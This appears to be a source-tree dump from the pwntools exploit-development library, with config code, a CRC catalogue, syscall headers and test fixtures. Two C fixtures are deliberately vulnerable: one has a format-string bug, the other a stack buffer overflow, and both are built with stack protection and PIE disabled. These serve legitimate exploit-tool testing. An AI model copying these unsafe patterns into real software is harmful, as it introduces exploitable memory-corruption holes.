64):\n                raise AttributeError(\"Invalid arch/bits combination: %s/%s\" % (arch, bits))\n\n            if arch in ('i386', 'amd64') and endian == 'big':\n                raise AttributeError(\"Invalid arch/endianness combination: %s/%s\" % (arch, endian))\n\n            return function(*a, **kw)\n    return setter\n\ndef LocalNoarchContext(function):\n    \"\"\"\n    Same as LocalContext, but resets arch to :const:`'none'` by default\n\n    Example:\n\n        >>> @LocalNoarchContext\n        ... def printArch():\n        ...     print(context.arch)\n        >>> printArch()\n        none\n    \"\"\"\n    @functools.wraps(function)\n    def setter(*a, **kw):\n        kw.setdefault('arch', 'none')\n        with context.local(**{k:kw.pop(k) for k,v in tuple(kw.items()) if isinstance(getattr(ContextType, k, None), property)}):\n            return function(*a, **kw)\n    return setter\n\n# Read configuration options from the context section\ndef update_context_defaults(section):\n    # Circular imports FTW!\n    from pwnlib.util import safeeval\n    from pwnlib.log import getLogger\n    log = getLogger(__name__)\n    for key, value in section.items():\n        if key not in ContextType.defaults:\n            log.warn(\"Unknown configuration option %r in section %r\" % (key, 'context'))\n            continue\n\n        default = ContextType.defaults[key]\n\n        if isinstance(default, (str, int, float, tuple, list, dict)):\n            value = safeeval.expr(value)\n        else:\n            log.warn(\"Unsupported configuration option %r in section %r\" % (key, 'context'))\n\n        # Attempt to set the value, to see if it is value:\n        try:\n            with context.local(**{key: value}):\n                value = getattr(context, key)\n        except (ValueError, AttributeError) as e:\n            log.warn(\"Could not set context.%s=%s via pwn.conf (%s)\", key, section[key], e)\n            continue\n\n        ContextType.defaults[key] = value\n\nregister_config('context', update_context_defaults)\n"
  },
  {
    "path": "pwnlib/data/__init__.py",
    "content": "try:\n    # These files are not distributed with Pwntools, but\n    # are in the source tree and used for testing.\n    from pwnlib.data import elf\nexcept ImportError:\n    pass\n\nimport os\npath = os.path.dirname(__file__)\n"
  },
  {
    "path": "pwnlib/data/crcsums.txt",
    "content": "# This file was generated using the command:\n# curl -s 'https://reveng.sourceforge.io/crc-catalogue/all.htm' | sed -nr -e 's@.*?<A NAME=\"(crc\\.cat[^\"]*)\">C.*@\\1@p' -e 's@.*<CODE>(width=.*)</CODE>.*@\\1@p' | sed '$!N;s/\\n/ /'\n#\n# At the time of download, that page was available under the GPLv3 license, which can found here:\n# https://www.gnu.org/licenses/gpl.html\n#\ncrc.cat.crc-3-gsm width=3  poly=0x3  init=0x0  refin=false  refout=false  xorout=0x7  check=0x4  residue=0x2  name=\"CRC-3/GSM\"\ncrc.cat.crc-3-rohc width=3  poly=0x3  init=0x7  refin=true  refout=true  xorout=0x0  check=0x6  residue=0x0  name=\"CRC-3/ROHC\"\ncrc.cat.crc-4-g-704 width=4  poly=0x3  init=0x0  refin=true  refout=true  xorout=0x0  check=0x7  residue=0x0  name=\"CRC-4/G-704\"\ncrc.cat.crc-4-interlaken width=4  poly=0x3  init=0xf  refin=false  refout=false  xorout=0xf  check=0xb  residue=0x2  name=\"CRC-4/INTERLAKEN\"\ncrc.cat.crc-5-epc-c1g2 width=5  poly=0x09  init=0x09  refin=false  refout=false  xorout=0x00  check=0x00  residue=0x00  name=\"CRC-5/EPC-C1G2\"\ncrc.cat.crc-5-g-704 width=5  poly=0x15  init=0x00  refin=true  refout=true  xorout=0x00  check=0x07  residue=0x00  name=\"CRC-5/G-704\"\ncrc.cat.crc-5-usb width=5  poly=0x05  init=0x1f  refin=true  refout=true  xorout=0x1f  check=0x19  residue=0x06  name=\"CRC-5/USB\"\ncrc.cat.crc-6-cdma2000-a width=6  poly=0x27  init=0x3f  refin=false  refout=false  xorout=0x00  check=0x0d  residue=0x00  name=\"CRC-6/CDMA2000-A\"\ncrc.cat.crc-6-cdma2000-b width=6  poly=0x07  init=0x3f  refin=false  refout=false  xorout=0x00  check=0x3b  residue=0x00  name=\"CRC-6/CDMA2000-B\"\ncrc.cat.crc-6-darc width=6  poly=0x19  init=0x00  refin=true  refout=true  xorout=0x00  check=0x26  residue=0x00  name=\"CRC-6/DARC\"\ncrc.cat.crc-6-g-704 width=6  poly=0x03  init=0x00  refin=true  refout=true  xorout=0x00  check=0x06  residue=0x00  name=\"CRC-6/G-704\"\ncrc.cat.crc-6-gsm width=6  poly=0x2f  init=0x00  refin=false  refout=false  xorout=0x3f  check=0x13  residue=0x3a  name=\"CRC-6/GSM\"\ncrc.cat.crc-7-mmc width=7  poly=0x09  init=0x00  refin=false  refout=false  xorout=0x00  check=0x75  residue=0x00  name=\"CRC-7/MMC\"\ncrc.cat.crc-7-rohc width=7  poly=0x4f  init=0x7f  refin=true  refout=true  xorout=0x00  check=0x53  residue=0x00  name=\"CRC-7/ROHC\"\ncrc.cat.crc-7-umts width=7  poly=0x45  init=0x00  refin=false  refout=false  xorout=0x00  check=0x61  residue=0x00  name=\"CRC-7/UMTS\"\ncrc.cat.crc-8-autosar width=8  poly=0x2f  init=0xff  refin=false  refout=false  xorout=0xff  check=0xdf  residue=0x42  name=\"CRC-8/AUTOSAR\"\ncrc.cat.crc-8-bluetooth width=8  poly=0xa7  init=0x00  refin=true  refout=true  xorout=0x00  check=0x26  residue=0x00  name=\"CRC-8/BLUETOOTH\"\ncrc.cat.crc-8-cdma2000 width=8  poly=0x9b  init=0xff  refin=false  refout=false  xorout=0x00  check=0xda  residue=0x00  name=\"CRC-8/CDMA2000\"\ncrc.cat.crc-8-darc width=8  poly=0x39  init=0x00  refin=true  refout=true  xorout=0x00  check=0x15  residue=0x00  name=\"CRC-8/DARC\"\ncrc.cat.crc-8-dvb-s2 width=8  poly=0xd5  init=0x00  refin=false  refout=false  xorout=0x00  check=0xbc  residue=0x00  name=\"CRC-8/DVB-S2\"\ncrc.cat.crc-8-gsm-a width=8  poly=0x1d  init=0x00  refin=false  refout=false  xorout=0x00  check=0x37  residue=0x00  name=\"CRC-8/GSM-A\"\ncrc.cat.crc-8-gsm-b width=8  poly=0x49  init=0x00  refin=false  refout=false  xorout=0xff  check=0x94  residue=0x53  name=\"CRC-8/GSM-B\"\ncrc.cat.crc-8-hitag width=8  poly=0x1d  init=0xff  refin=false  refout=false  xorout=0x00  check=0xb4  residue=0x00  name=\"CRC-8/HITAG\"\ncrc.cat.crc-8-i-432-1 width=8  poly=0x07  init=0x00  refin=false  refout=false  xorout=0x55  check=0xa1  residue=0xac  name=\"CRC-8/I-432-1\"\ncrc.cat.crc-8-i-code width=8  poly=0x1d  init=0xfd  refin=false  refout=false  xorout=0x00  check=0x7e  residue=0x00  name=\"CRC-8/I-CODE\"\ncrc.cat.crc-8-lte width=8  poly=0x9b  init=0x00  refin=false  refout=false  xorout=0x00  check=0xea  residue=0x00  name=\"CRC-8/LTE\"\ncrc.cat.crc-8-maxim-dow width=8  poly=0x31  init=0x00  refin=true  refout=true  xorout=0x00  check=0xa1  residue=0x00  name=\"CRC-8/MAXIM-DOW\"\ncrc.cat.crc-8-mifare-mad width=8  poly=0x1d  init=0xc7  refin=false  refout=false  xorout=0x00  check=0x99  residue=0x00  name=\"CRC-8/MIFARE-MAD\"\ncrc.cat.crc-8-nrsc-5 width=8  poly=0x31  init=0xff  refin=false  refout=false  xorout=0x00  check=0xf7  residue=0x00  name=\"CRC-8/NRSC-5\"\ncrc.cat.crc-8-opensafety width=8  poly=0x2f  init=0x00  refin=false  refout=false  xorout=0x00  check=0x3e  residue=0x00  name=\"CRC-8/OPENSAFETY\"\ncrc.cat.crc-8-rohc width=8  poly=0x07  init=0xff  refin=true  refout=true  xorout=0x00  check=0xd0  residue=0x00  name=\"CRC-8/ROHC\"\ncrc.cat.crc-8-sae-j1850 width=8  poly=0x1d  init=0xff  refin=false  refout=false  xorout=0xff  check=0x4b  residue=0xc4  name=\"CRC-8/SAE-J1850\"\ncrc.cat.crc-8-smbus width=8  poly=0x07  init=0x00  refin=false  refout=false  xorout=0x00  check=0xf4  residue=0x00  name=\"CRC-8/SMBUS\"\ncrc.cat.crc-8-tech-3250 width=8  poly=0x1d  init=0xff  refin=true  refout=true  xorout=0x00  check=0x97  residue=0x00  name=\"CRC-8/TECH-3250\"\ncrc.cat.crc-8-wcdma width=8  poly=0x9b  init=0x00  refin=true  refout=true  xorout=0x00  check=0x25  residue=0x00  name=\"CRC-8/WCDMA\"\ncrc.cat.crc-10-atm width=10  poly=0x233  init=0x000  refin=false  refout=false  xorout=0x000  check=0x199  residue=0x000  name=\"CRC-10/ATM\"\ncrc.cat.crc-10-cdma2000 width=10  poly=0x3d9  init=0x3ff  refin=false  refout=false  xorout=0x000  check=0x233  residue=0x000  name=\"CRC-10/CDMA2000\"\ncrc.cat.crc-10-gsm width=10  poly=0x175  init=0x000  refin=false  refout=false  xorout=0x3ff  check=0x12a  residue=0x0c6  name=\"CRC-10/GSM\"\ncrc.cat.crc-11-flexray width=11  poly=0x385  init=0x01a  refin=false  refout=false  xorout=0x000  check=0x5a3  residue=0x000  name=\"CRC-11/FLEXRAY\"\ncrc.cat.crc-11-umts width=11  poly=0x307  init=0x000  refin=false  refout=false  xorout=0x000  check=0x061  residue=0x000  name=\"CRC-11/UMTS\"\ncrc.cat.crc-12-cdma2000 width=12  poly=0xf13  init=0xfff  refin=false  refout=false  xorout=0x000  check=0xd4d  residue=0x000  name=\"CRC-12/CDMA2000\"\ncrc.cat.crc-12-dect width=12  poly=0x80f  init=0x000  refin=false  refout=false  xorout=0x000  check=0xf5b  residue=0x000  name=\"CRC-12/DECT\"\ncrc.cat.crc-12-gsm width=12  poly=0xd31  init=0x000  refin=false  refout=false  xorout=0xfff  check=0xb34  residue=0x178  name=\"CRC-12/GSM\"\ncrc.cat.crc-12-umts width=12  poly=0x80f  init=0x000  refin=false  refout=true  xorout=0x000  check=0xdaf  residue=0x000  name=\"CRC-12/UMTS\"\ncrc.cat.crc-13-bbc width=13  poly=0x1cf5  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x04fa  residue=0x0000  name=\"CRC-13/BBC\"\ncrc.cat.crc-14-darc width=14  poly=0x0805  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x082d  residue=0x0000  name=\"CRC-14/DARC\"\ncrc.cat.crc-14-gsm width=14  poly=0x202d  init=0x0000  refin=false  refout=false  xorout=0x3fff  check=0x30ae  residue=0x031e  name=\"CRC-14/GSM\"\ncrc.cat.crc-15-can width=15  poly=0x4599  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x059e  residue=0x0000  name=\"CRC-15/CAN\"\ncrc.cat.crc-15-mpt1327 width=15  poly=0x6815  init=0x0000  refin=false  refout=false  xorout=0x0001  check=0x2566  residue=0x6815  name=\"CRC-15/MPT1327\"\ncrc.cat.crc-16-arc width=16  poly=0x8005  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0xbb3d  residue=0x0000  name=\"CRC-16/ARC\"\ncrc.cat.crc-16-cdma2000 width=16  poly=0xc867  init=0xffff  refin=false  refout=false  xorout=0x0000  check=0x4c06  residue=0x0000  name=\"CRC-16/CDMA2000\"\ncrc.cat.crc-16-cms width=16  poly=0x8005  init=0xffff  refin=false  refout=false  xorout=0x0000  check=0xaee7  residue=0x0000  name=\"CRC-16/CMS\"\ncrc.cat.crc-16-dds-110 width=16  poly=0x8005  init=0x800d  refin=false  refout=false  xorout=0x0000  check=0x9ecf  residue=0x0000  name=\"CRC-16/DDS-110\"\ncrc.cat.crc-16-dect-r width=16  poly=0x0589  init=0x0000  refin=false  refout=false  xorout=0x0001  check=0x007e  residue=0x0589  name=\"CRC-16/DECT-R\"\ncrc.cat.crc-16-dect-x width=16  poly=0x0589  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x007f  residue=0x0000  name=\"CRC-16/DECT-X\"\ncrc.cat.crc-16-dnp width=16  poly=0x3d65  init=0x0000  refin=true  refout=true  xorout=0xffff  check=0xea82  residue=0x66c5  name=\"CRC-16/DNP\"\ncrc.cat.crc-16-en-13757 width=16  poly=0x3d65  init=0x0000  refin=false  refout=false  xorout=0xffff  check=0xc2b7  residue=0xa366  name=\"CRC-16/EN-13757\"\ncrc.cat.crc-16-genibus width=16  poly=0x1021  init=0xffff  refin=false  refout=false  xorout=0xffff  check=0xd64e  residue=0x1d0f  name=\"CRC-16/GENIBUS\"\ncrc.cat.crc-16-gsm width=16  poly=0x1021  init=0x0000  refin=false  refout=false  xorout=0xffff  check=0xce3c  residue=0x1d0f  name=\"CRC-16/GSM\"\ncrc.cat.crc-16-ibm-3740 width=16  poly=0x1021  init=0xffff  refin=false  refout=false  xorout=0x0000  check=0x29b1  residue=0x0000  name=\"CRC-16/IBM-3740\"\ncrc.cat.crc-16-ibm-sdlc width=16  poly=0x1021  init=0xffff  refin=true  refout=true  xorout=0xffff  check=0x906e  residue=0xf0b8  name=\"CRC-16/IBM-SDLC\"\ncrc.cat.crc-16-iso-iec-14443-3-a width=16  poly=0x1021  init=0xc6c6  refin=true  refout=true  xorout=0x0000  check=0xbf05  residue=0x0000  name=\"CRC-16/ISO-IEC-14443-3-A\"\ncrc.cat.crc-16-kermit width=16  poly=0x1021  init=0x0000  refin=true  refout=true  xorout=0x0000  check=0x2189  residue=0x0000  name=\"CRC-16/KERMIT\"\ncrc.cat.crc-16-lj1200 width=16  poly=0x6f63  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0xbdf4  residue=0x0000  name=\"CRC-16/LJ1200\"\ncrc.cat.crc-16-m17 width=16  poly=0x5935  init=0xffff  refin=false  refout=false  xorout=0x0000  check=0x772b  residue=0x0000  name=\"CRC-16/M17\"\ncrc.cat.crc-16-maxim-dow width=16  poly=0x8005  init=0x0000  refin=true  refout=true  xorout=0xffff  check=0x44c2  residue=0xb001  name=\"CRC-16/MAXIM-DOW\"\ncrc.cat.crc-16-mcrf4xx width=16  poly=0x1021  init=0xffff  refin=true  refout=true  xorout=0x0000  check=0x6f91  residue=0x0000  name=\"CRC-16/MCRF4XX\"\ncrc.cat.crc-16-modbus width=16  poly=0x8005  init=0xffff  refin=true  refout=true  xorout=0x0000  check=0x4b37  residue=0x0000  name=\"CRC-16/MODBUS\"\ncrc.cat.crc-16-nrsc-5 width=16  poly=0x080b  init=0xffff  refin=true  refout=true  xorout=0x0000  check=0xa066  residue=0x0000  name=\"CRC-16/NRSC-5\"\ncrc.cat.crc-16-opensafety-a width=16  poly=0x5935  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x5d38  residue=0x0000  name=\"CRC-16/OPENSAFETY-A\"\ncrc.cat.crc-16-opensafety-b width=16  poly=0x755b  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x20fe  residue=0x0000  name=\"CRC-16/OPENSAFETY-B\"\ncrc.cat.crc-16-profibus width=16  poly=0x1dcf  init=0xffff  refin=false  refout=false  xorout=0xffff  check=0xa819  residue=0xe394  name=\"CRC-16/PROFIBUS\"\ncrc.cat.crc-16-riello width=16  poly=0x1021  init=0xb2aa  refin=true  refout=true  xorout=0x0000  check=0x63d0  residue=0x0000  name=\"CRC-16/RIELLO\"\ncrc.cat.crc-16-spi-fujitsu width=16  poly=0x1021  init=0x1d0f  refin=false  refout=false  xorout=0x0000  check=0xe5cc  residue=0x0000  name=\"CRC-16/SPI-FUJITSU\"\ncrc.cat.crc-16-t10-dif width=16  poly=0x8bb7  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0xd0db  residue=0x0000  name=\"CRC-16/T10-DIF\"\ncrc.cat.crc-16-teledisk width=16  poly=0xa097  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x0fb3  residue=0x0000  name=\"CRC-16/TELEDISK\"\ncrc.cat.crc-16-tms37157 width=16  poly=0x1021  init=0x89ec  refin=true  refout=true  xorout=0x0000  check=0x26b1  residue=0x0000  name=\"CRC-16/TMS37157\"\ncrc.cat.crc-16-umts width=16  poly=0x8005  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0xfee8  residue=0x0000  name=\"CRC-16/UMTS\"\ncrc.cat.crc-16-usb width=16  poly=0x8005  init=0xffff  refin=true  refout=true  xorout=0xffff  check=0xb4c8  residue=0xb001  name=\"CRC-16/USB\"\ncrc.cat.crc-16-xmodem width=16  poly=0x1021  init=0x0000  refin=false  refout=false  xorout=0x0000  check=0x31c3  residue=0x0000  name=\"CRC-16/XMODEM\"\ncrc.cat.crc-17-can-fd width=17  poly=0x1685b  init=0x00000  refin=false  refout=false  xorout=0x00000  check=0x04f03  residue=0x00000  name=\"CRC-17/CAN-FD\"\ncrc.cat.crc-21-can-fd width=21  poly=0x102899  init=0x000000  refin=false  refout=false  xorout=0x000000  check=0x0ed841  residue=0x000000  name=\"CRC-21/CAN-FD\"\ncrc.cat.crc-24-ble width=24  poly=0x00065b  init=0x555555  refin=true  refout=true  xorout=0x000000  check=0xc25a56  residue=0x000000  name=\"CRC-24/BLE\"\ncrc.cat.crc-24-flexray-a width=24  poly=0x5d6dcb  init=0xfedcba  refin=false  refout=false  xorout=0x000000  check=0x7979bd  residue=0x000000  name=\"CRC-24/FLEXRAY-A\"\ncrc.cat.crc-24-flexray-b width=24  poly=0x5d6dcb  init=0xabcdef  refin=false  refout=false  xorout=0x000000  check=0x1f23b8  residue=0x000000  name=\"CRC-24/FLEXRAY-B\"\ncrc.cat.crc-24-interlaken width=24  poly=0x328b63  init=0xffffff  refin=false  refout=false  xorout=0xffffff  check=0xb4f3e6  residue=0x144e63  name=\"CRC-24/INTERLAKEN\"\ncrc.cat.crc-24-lte-a width=24  poly=0x864cfb  init=0x000000  refin=false  refout=false  xorout=0x000000  check=0xcde703  residue=0x000000  name=\"CRC-24/LTE-A\"\ncrc.cat.crc-24-lte-b width=24  poly=0x800063  init=0x000000  refin=false  refout=false  xorout=0x000000  check=0x23ef52  residue=0x000000  name=\"CRC-24/LTE-B\"\ncrc.cat.crc-24-openpgp width=24  poly=0x864cfb  init=0xb704ce  refin=false  refout=false  xorout=0x000000  check=0x21cf02  residue=0x000000  name=\"CRC-24/OPENPGP\"\ncrc.cat.crc-24-os-9 width=24  poly=0x800063  init=0xffffff  refin=false  refout=false  xorout=0xffffff  check=0x200fa5  residue=0x800fe3  name=\"CRC-24/OS-9\"\ncrc.cat.crc-30-cdma width=30  poly=0x2030b9c7  init=0x3fffffff  refin=false  refout=false  xorout=0x3fffffff  check=0x04c34abf  residue=0x34efa55a  name=\"CRC-30/CDMA\"\ncrc.cat.crc-31-philips width=31  poly=0x04c11db7  init=0x7fffffff  refin=false  refout=false  xorout=0x7fffffff  check=0x0ce9e46c  residue=0x4eaf26f1  name=\"CRC-31/PHILIPS\"\ncrc.cat.crc-32-aixm width=32  poly=0x814141ab  init=0x00000000  refin=false  refout=false  xorout=0x00000000  check=0x3010bf7f  residue=0x00000000  name=\"CRC-32/AIXM\"\ncrc.cat.crc-32-autosar width=32  poly=0xf4acfb13  init=0xffffffff  refin=true  refout=true  xorout=0xffffffff  check=0x1697d06a  residue=0x904cddbf  name=\"CRC-32/AUTOSAR\"\ncrc.cat.crc-32-base91-d width=32  poly=0xa833982b  init=0xffffffff  refin=true  refout=true  xorout=0xffffffff  check=0x87315576  residue=0x45270551  name=\"CRC-32/BASE91-D\"\ncrc.cat.crc-32-bzip2 width=32  poly=0x04c11db7  init=0xffffffff  refin=false  refout=false  xorout=0xffffffff  check=0xfc891918  residue=0xc704dd7b  name=\"CRC-32/BZIP2\"\ncrc.cat.crc-32-cd-rom-edc width=32  poly=0x8001801b  init=0x00000000  refin=true  refout=true  xorout=0x00000000  check=0x6ec2edc4  residue=0x00000000  name=\"CRC-32/CD-ROM-EDC\"\ncrc.cat.crc-32-cksum width=32  poly=0x04c11db7  init=0x00000000  refin=false  refout=false  xorout=0xffffffff  check=0x765e7680  residue=0xc704dd7b  name=\"CRC-32/CKSUM\"\ncrc.cat.crc-32-iscsi width=32  poly=0x1edc6f41  init=0xffffffff  refin=true  refout=true  xorout=0xffffffff  check=0xe3069283  residue=0xb798b438  name=\"CRC-32/ISCSI\"\ncrc.cat.crc-32-iso-hdlc width=32  poly=0x04c11db7  init=0xffffffff  refin=true  refout=true  xorout=0xffffffff  check=0xcbf43926  residue=0xdebb20e3  name=\"CRC-32/ISO-HDLC\"\ncrc.cat.crc-32-jamcrc width=32  poly=0x04c11db7  init=0xffffffff  refin=true  refout=true  xorout=0x00000000  check=0x340bc6d9  residue=0x00000000  name=\"CRC-32/JAMCRC\"\ncrc.cat.crc-32-mef width=32  poly=0x741b8cd7  init=0xffffffff  refin=true  refout=true  xorout=0x00000000  check=0xd2c22f51  residue=0x00000000  name=\"CRC-32/MEF\"\ncrc.cat.crc-32-mpeg-2 width=32  poly=0x04c11db7  init=0xffffffff  refin=false  refout=false  xorout=0x00000000  check=0x0376e6e7  residue=0x00000000  name=\"CRC-32/MPEG-2\"\ncrc.cat.crc-32-xfer width=32  poly=0x000000af  init=0x00000000  refin=false  refout=false  xorout=0x00000000  check=0xbd0be338  residue=0x00000000  name=\"CRC-32/XFER\"\ncrc.cat.crc-40-gsm width=40  poly=0x0004820009  init=0x0000000000  refin=false  refout=false  xorout=0xffffffffff  check=0xd4164fc646  residue=0xc4ff8071ff  name=\"CRC-40/GSM\"\ncrc.cat.crc-64-ecma-182 width=64  poly=0x42f0e1eba9ea3693  init=0x0000000000000000  refin=false  refout=false  xorout=0x0000000000000000  check=0x6c40df5f0b497347  residue=0x0000000000000000  name=\"CRC-64/ECMA-182\"\ncrc.cat.crc-64-go-iso width=64  poly=0x000000000000001b  init=0xffffffffffffffff  refin=true  refout=true  xorout=0xffffffffffffffff  check=0xb90956c775a41001  residue=0x5300000000000000  name=\"CRC-64/GO-ISO\"\ncrc.cat.crc-64-ms width=64  poly=0x259c84cba6426349  init=0xffffffffffffffff  refin=true  refout=true  xorout=0x0000000000000000  check=0x75d4b74f024eceea  residue=0x0000000000000000  name=\"CRC-64/MS\"\ncrc.cat.crc-64-we width=64  poly=0x42f0e1eba9ea3693  init=0xffffffffffffffff  refin=false  refout=false  xorout=0xffffffffffffffff  check=0x62ec59e3f1a4f00a  residue=0xfcacbebd5931a992  name=\"CRC-64/WE\"\ncrc.cat.crc-64-xz width=64  poly=0x42f0e1eba9ea3693  init=0xffffffffffffffff  refin=true  refout=true  xorout=0xffffffffffffffff  check=0x995dc9bbdf1939fa  residue=0x49958c9abd7d353f  name=\"CRC-64/XZ\"\ncrc.cat.crc-82-darc width=82  poly=0x0308c0111011401440411  init=0x000000000000000000000  refin=true  refout=true  xorout=0x000000000000000000000  check=0x09ea83f625023801fd612  residue=0x000000000000000000000  name=\"CRC-82/DARC\"\n"
  },
  {
    "path": "pwnlib/data/elf/__init__.py",
    "content": "from pwnlib.data.elf import fmtstr\nfrom pwnlib.data.elf import relro\nfrom pwnlib.data.elf import ret2dlresolve\n\nimport os\npath = os.path.dirname(__file__)\n\ndef get(x):\n    return os.path.join(path, x)\n"
  },
  {
    "path": "pwnlib/data/elf/fmtstr/Makefile",
    "content": "\nall: i386\n\ni386: vuln.c\n\tgcc \"$^\" -fno-stack-protector -no-pie -m32 -o $@\n"
  },
  {
    "path": "pwnlib/data/elf/fmtstr/__init__.py",
    "content": "import os\npath = os.path.dirname(__file__)\n\ndef get(x):\n    return os.path.join(path, x)\n"
  },
  {
    "path": "pwnlib/data/elf/fmtstr/vuln.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <sys/mman.h>\n#define MEMORY_ADDRESS ((void*)0x11111000)\n#define MEMORY_SIZE 1024\n#define TARGET ((int *) 0x11111110)\nint main(int argc, char const *argv[])\n{\n       char buff[1024];\n       void *ptr = NULL;\n       int *my_var = TARGET;\n       ptr = mmap(MEMORY_ADDRESS, MEMORY_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);\n       if(ptr != MEMORY_ADDRESS)\n       {\n               perror(\"mmap\");\n               return EXIT_FAILURE;\n       }\n       *my_var = 0x41414141;\n       write(1, &my_var, sizeof(int *));\n       scanf(\"%s\", buff);\n       dprintf(2, buff);\n       write(1, my_var, sizeof(int));\n       return 0;\n}"
  },
  {
    "path": "pwnlib/data/elf/relro/__init__.py",
    "content": "import os\npath = os.path.dirname(__file__)\n\ndef get(x):\n    return os.path.join(path, x)\n"
  },
  {
    "path": "pwnlib/data/elf/ret2dlresolve/Makefile",
    "content": "\nall: i386 amd64\n\ni386: vuln.c\n\tgcc \"$^\" -fno-stack-protector -no-pie -m32 -o $@\n\namd64: vuln.c\n\tgcc \"$^\" -fno-stack-protector -no-pie -o $@\n"
  },
  {
    "path": "pwnlib/data/elf/ret2dlresolve/__init__.py",
    "content": "import os\npath = os.path.dirname(__file__)\n\ndef get(x):\n    return os.path.join(path, x)\n"
  },
  {
    "path": "pwnlib/data/elf/ret2dlresolve/vuln.c",
    "content": "#include <unistd.h>\nvoid vuln(void){\n    char buf[64];\n    read(STDIN_FILENO, buf, 200);\n}\nint main(int argc, char** argv){\n    vuln();\n}"
  },
  {
    "path": "pwnlib/data/includes/LICENSE.txt",
    "content": "This directory, the directory pwnlib/constants/ and subdirectories contains:\n\n- header files from the FreeBSD project\n- header files from the dietlibc project\n- code for transforming these header files into a\n  format more suitable for our use of them\n- the result of that transformation\n\n\nThe header files can be retrieved from https://www.freebsd.org and\nhttp://www.fefe.de/dietlibc/ respectively.\n\n\nThe header files from the FreeBSD project are to the best of our\nknowledge available under a BSD 2-clause license available here:\n\nhttps://www.freebsd.org/copyright/freebsd-license.html\n\n\nThe header files from dietlibc are to the best of our knowledge\navailable under under GPLv2 or later, available here:\n\nhttps://www.gnu.org/copyleft/gpl.html\n\n\nWe are not laywers and do not know the legal status of header files nor do we\nknow the legal status of derivatives. To the extend that we can legally do so,\nwe would like to redistribute everything under an MIT license, but otherwise\nwe allow it under the licenses the files were originally made available under.\n"
  },
  {
    "path": "pwnlib/data/includes/cgc/arm.h",
    "content": "#define allocate 5\n#define SYS_allocate 5\n#define __NR_allocate 5\n#define deallocate 6\n#define SYS_deallocate 6\n#define __NR_deallocate 6\n#define fdwait 4\n#define SYS_fdwait 4\n#define __NR_fdwait 4\n#define random 7\n#define SYS_random 7\n#define __NR_random 7\n#define receive 3\n#define SYS_receive 3\n#define __NR_receive 3\n#define terminate 1\n#define SYS_terminate 1\n#define __NR_terminate 1\n#define transmit 2\n#define SYS_transmit 2\n#define __NR_transmit 2\n"
  },
  {
    "path": "pwnlib/data/includes/darwin/aarch64.h",
    "content": "#define ITIMER_REAL 0\n#define ITIMER_VIRTUAL 1\n#define ITIMER_PROF 2\n#define DST_NONE 0\n#define DST_USA 1\n#define DST_AUST 2\n#define DST_WET 3\n#define DST_MET 4\n#define DST_EET 5\n#define DST_CAN 6\n#define CHILD_MAX 266\n#define LINK_MAX 32767\n#define MAX_CANON 1024\n#define MAX_INPUT 1024\n#define NAME_MAX 255\n#define NGROUPS_MAX 16\n#define OPEN_MAX 10240\n#define PATH_MAX 1024\n#define PIPE_BUF 512\n#define BC_BASE_MAX 99\n#define BC_DIM_MAX 2048\n#define BC_SCALE_MAX 99\n#define BC_STRING_MAX 1000\n#define CHARCLASS_NAME_MAX 14\n#define COLL_WEIGHTS_MAX 2\n#define EQUIV_CLASS_MAX 2\n#define EXPR_NEST_MAX 32\n#define LINE_MAX 2048\n#define RE_DUP_MAX 255\n#define NZERO 0\n#define GETNCNT 3\n#define GETPID 4\n#define GETVAL 5\n#define GETALL 6\n#define GETZCNT 7\n#define SETVAL 8\n#define SETALL 9\n#define SEM_UNDO 0010000\n#define SEM_A 00200\n#define SEM_R 00400\n#define PSEMNAMLEN 31\n#define PSEM_NONE 1\n#define PSEM_DEFINED 2\n#define PSEM_ALLOCATED 4\n#define PSEM_MAPPED 8\n#define PSEM_INUSE 0x10\n#define PSEM_REMOVED 0x20\n#define PSEM_INCREATE 0x40\n#define PSEM_INDELETE 0x80\n#define FSOPT_NOFOLLOW 0x00000001\n#define FSOPT_NOINMEMUPDATE 0x00000002\n#define FSOPT_REPORT_FULLSIZE 0x00000004\n#define FSOPT_PACK_INVAL_ATTRS 0x00000008\n#define FSOPT_ATTR_CMN_EXTENDED 0x00000020\n#define FSOPT_RETURN_REALDEV 0x00000200\n#define FSOPT_NOFOLLOW_ANY 0x00000800\n#define SEARCHFS_MAX_SEARCHPARMS 4096\n#define ATTR_BIT_MAP_COUNT 5\n#define VOL_CAPABILITIES_FORMAT 0\n#define VOL_CAPABILITIES_INTERFACES 1\n#define VOL_CAPABILITIES_RESERVED1 2\n#define VOL_CAPABILITIES_RESERVED2 3\n#define ATTR_MAX_BUFFER 8192\n#define VOL_CAP_FMT_PERSISTENTOBJECTIDS 0x00000001\n#define VOL_CAP_FMT_SYMBOLICLINKS 0x00000002\n#define VOL_CAP_FMT_HARDLINKS 0x00000004\n#define VOL_CAP_FMT_JOURNAL 0x00000008\n#define VOL_CAP_FMT_JOURNAL_ACTIVE 0x00000010\n#define VOL_CAP_FMT_NO_ROOT_TIMES 0x00000020\n#define VOL_CAP_FMT_SPARSE_FILES 0x00000040\n#define VOL_CAP_FMT_ZERO_RUNS 0x00000080\n#define VOL_CAP_FMT_CASE_SENSITIVE 0x00000100\n#define VOL_CAP_FMT_CASE_PRESERVING 0x00000200\n#define VOL_CAP_FMT_FAST_STATFS 0x00000400\n#define VOL_CAP_FMT_2TB_FILESIZE 0x00000800\n#define VOL_CAP_FMT_OPENDENYMODES 0x00001000\n#define VOL_CAP_FMT_HIDDEN_FILES 0x00002000\n#define VOL_CAP_FMT_PATH_FROM_ID 0x00004000\n#define VOL_CAP_FMT_NO_VOLUME_SIZES 0x00008000\n#define VOL_CAP_FMT_DECMPFS_COMPRESSION 0x00010000\n#define VOL_CAP_FMT_64BIT_OBJECT_IDS 0x00020000\n#define VOL_CAP_FMT_DIR_HARDLINKS 0x00040000\n#define VOL_CAP_FMT_DOCUMENT_ID 